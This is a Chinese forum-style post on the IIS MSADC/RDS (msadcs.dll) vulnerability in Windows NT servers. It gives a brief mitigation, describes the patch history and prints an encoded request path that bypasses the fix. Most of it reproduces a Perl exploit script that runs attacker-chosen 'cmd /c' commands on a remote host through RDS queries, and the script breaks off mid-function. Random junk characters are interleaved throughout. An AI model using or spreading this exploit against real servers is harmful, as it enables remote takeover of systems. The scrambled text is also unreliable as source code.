IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
RpYcD uxb:^d?D! 涉及程序:
F_
81l< Microsoft NT server
!.*iw
k` aZ6'|S; 描述:
`^x9(i/NE 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
yPoSJzC=[ o,1Dqg4P3 详细:
/D'M 24 如果你没有时间读详细内容的话,就删除:
myIe_k,F c:\Program Files\Common Files\System\Msadc\msadcs.dll
CcY7$D 有关的安全问题就没有了。
ALXTR%f ^^U%cu Kg 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
oR#Ob#& ?`H[u7*% 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
t+O e)Ns 关于利用ODBC远程漏洞的描述,请参看:
~>g+2]Bn>$ p?JQ[K7i http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Bd&`Xfebj *C7F2o 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
m*dNrG http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1'Rmg\( :RiF3h( 这里不再论述。
\J3/keL s6n`?,vw 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
[EOVw%R ,EI:gLH /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Vm,,uF 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Xb,T{.3@ Ac`;st%l. 9->q| E4 #将下面这段保存为txt文件,然后: "perl -x 文件名"
>g}G}=R~3 -ihiG_f #!perl
v+6e;xl8 #
4MLH+/e # MSADC/RDS 'usage' (aka exploit) script
<#*.}w~ #
! %Ny0JkO # by rain.forest.puppy
~*-qX$gr #
S-c ^eLzQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
4TZ cc|B5 # beta test and find errors!
)];aI A$ q7_+}"i use Socket; use Getopt::Std;
pr rT:Y getopts("e:vd:h:XR", \%args);
"@yyXS
r +~35G:&: print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ue\t ,*KYd v* ~3Z1 if (!defined $args{h} && !defined $args{R}) {
qINTCm j print qq~
uMd. j$$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
Qihdn66 -h <host> = host you want to scan (ip or domain)
*eb-rhCVn -d <seconds> = delay between calls, default 1 second
K 1W].(-@4 -X = dump Index Server path table, if available
ej^3YNh& -v = verbose
D*2\{W/ -e = external dictionary file for step 5
<]U1\~j _A'{la~k Or a -R will resume a command session
v("wKHWTI@ fk{0d ~; exit;}
,:GN;sIXg uQ3[Jz`y $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
RUo9eQIPD if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2?DRLF] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<]d
LX}C) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]?K.
S6 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Jp~zX
lu if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
wT_h!W eUBrzoCO if (!defined $args{R}){ $ret = &has_msadc;
rx!=q8=0R die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$>q@SJ1q 'jfRt-_- print "Please type the NT commandline you want to run (cmd /c assumed):\n"
go'j/4Tp . "cmd /c ";
{C3Y7< $in=<STDIN>; chomp $in;
f.xA_Y> $command="cmd /c " . $in ;
eV};9VJ$F EgM*d)X if (defined $args{R}) {&load; exit;}
`I;F$ `\ ] d?x$> print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
))T>jh &try_btcustmr;
Q[u6|jRt TqAPAHg print "\nStep 2: Trying to make our own DSN...";
uGVy6, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
CIC[1, TO#Pz.)>B6 print "\nStep 3: Trying known DSNs...";
h<l1U'Bn7 &known_dsn;
^ c%N/V
\ /X*oS&-M print "\nStep 4: Trying known .mdbs...";
^J/)6/TMXm &known_mdb;
cP>o+-) rf
K8q'@ if (defined $args{e}){
=xN= # print "\nStep 5: Trying dictionary of DSN names...";
X[3}?,aqL &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
L>9R4:g $)Bg JDr print "Sorry Charley...maybe next time?\n";
*_-'/i exit;
qUJ
aeQ rZ03x\2 ##############################################################################
KY9n2u&4 1DJekiWf sub sendraw { # ripped and modded from whisker
]uh3R{a/ sleep($delay); # it's a DoS on the server! At least on mine...
aaW]JmRb my ($pstr)=@_;
zu\`1W^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i@P}{ die("Socket problems\n");
j}J Z
if(connect(S,pack "SnA4x8",2,80,$target)){
gzn^#3 b select(S); $|=1;
MgMD\ print $pstr; my @in=<S>;
{dWObh select(STDOUT); close(S);
/Lf6WMit return @in;
mTDVlw0dh } else { die("Can't connect...\n"); }}
Ctu?o+^;z %&<LNEiUN ##############################################################################
b1?xeG# m_NCx]#e
sub make_header { # make the HTTP request
r%]Qlt~K my $msadc=<<EOT
chI.{Rj POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
v3[@1FQ" User-Agent: ACTIVEDATA
I:j3sy Host: $ip
pox,Im Content-Length: $clen
9J-b6, Connection: Keep-Alive
sy5 Fn~\R ",qU,0 ADCClientVersion:01.06
H*I4xT@ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
e]8,:Gd( Z}6^ve --!ADM!ROX!YOUR!WORLD!
hVpCB, Content-Type: application/x-varg
W7No ls{ Content-Length: $reqlen
>]D4Q<TY 'fd1Pj9~$ EOT
GIwh@4; ; $msadc=~s/\n/\r\n/g;
2'0K WYM return $msadc;}
MjL)IgT 2 ][DZl ##############################################################################
0ezYd S~o P\2M[Gu(Q sub make_req { # make the RDS request
YUWn;# my ($switch, $p1, $p2)=@_;
vG41C k1 my $req=""; my $t1, $t2, $query, $dsn;
]2SI!Ai7 rJyCw+N0 if ($switch==1){ # this is the btcustmr.mdb query
'-$XX%TOAc $query="Select * from Customers where City=" . make_shell();
= "ts`> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
YPDf
Y<?v $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
l ,|%7- y2L#:[8 elsif ($switch==2){ # this is general make table query
>p\e0n $query="create table AZZ (B int, C varchar(10))";
K,ej%Vtz $dsn="$p1";}
hf6f.Z o89(
h! elsif ($switch==3){ # this is general exploit table query
_u0$,Y?&